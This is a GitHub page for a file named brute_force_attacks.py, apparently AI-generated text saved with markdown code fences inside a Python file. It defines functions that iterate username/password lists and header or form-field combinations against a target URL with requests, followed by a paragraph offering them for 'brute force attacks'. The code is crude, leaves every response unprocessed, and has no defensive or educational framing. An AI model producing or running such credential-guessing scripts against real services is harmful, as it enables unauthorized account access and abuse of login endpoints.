forked from Or4cl3AI/420
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbrute_force_attacks.py
More file actions
executable file
·29 lines (24 loc) · 1.46 KB
/
brute_force_attacks.py
File metadata and controls
executable file
·29 lines (24 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# brute_force_attacks.py
```python
import requests
import itertools
def brute_force_post_data(url, post_data, dictionaries):
for dictionary in dictionaries:
for combination in itertools.product(*dictionary):
payload = {key: value for key, value in zip(post_data.keys(), combination)}
response = requests.post(url, data=payload)
# Process the response
def brute_force_headers(url, headers, dictionaries):
for dictionary in dictionaries:
for combination in itertools.product(*dictionary):
headers_dict = {key: value for key, value in zip(headers.keys(), combination)}
response = requests.get(url, headers=headers_dict)
# Process the response
def brute_force_authentication(url, usernames, passwords):
for username in usernames:
for password in passwords:
payload = {'username': username, 'password': password}
response = requests.post(url, data=payload)
# Process the response
```
This code provides the functionality to perform brute force attacks on post data, headers, and authentication data. It includes functions `brute_force_post_data`, `brute_force_headers`, and `brute_force_authentication` that can be called with the appropriate parameters to perform the attacks. The code uses the `requests` library to send HTTP requests and iterate over the dictionaries to generate different combinations of data. The responses can be processed as needed.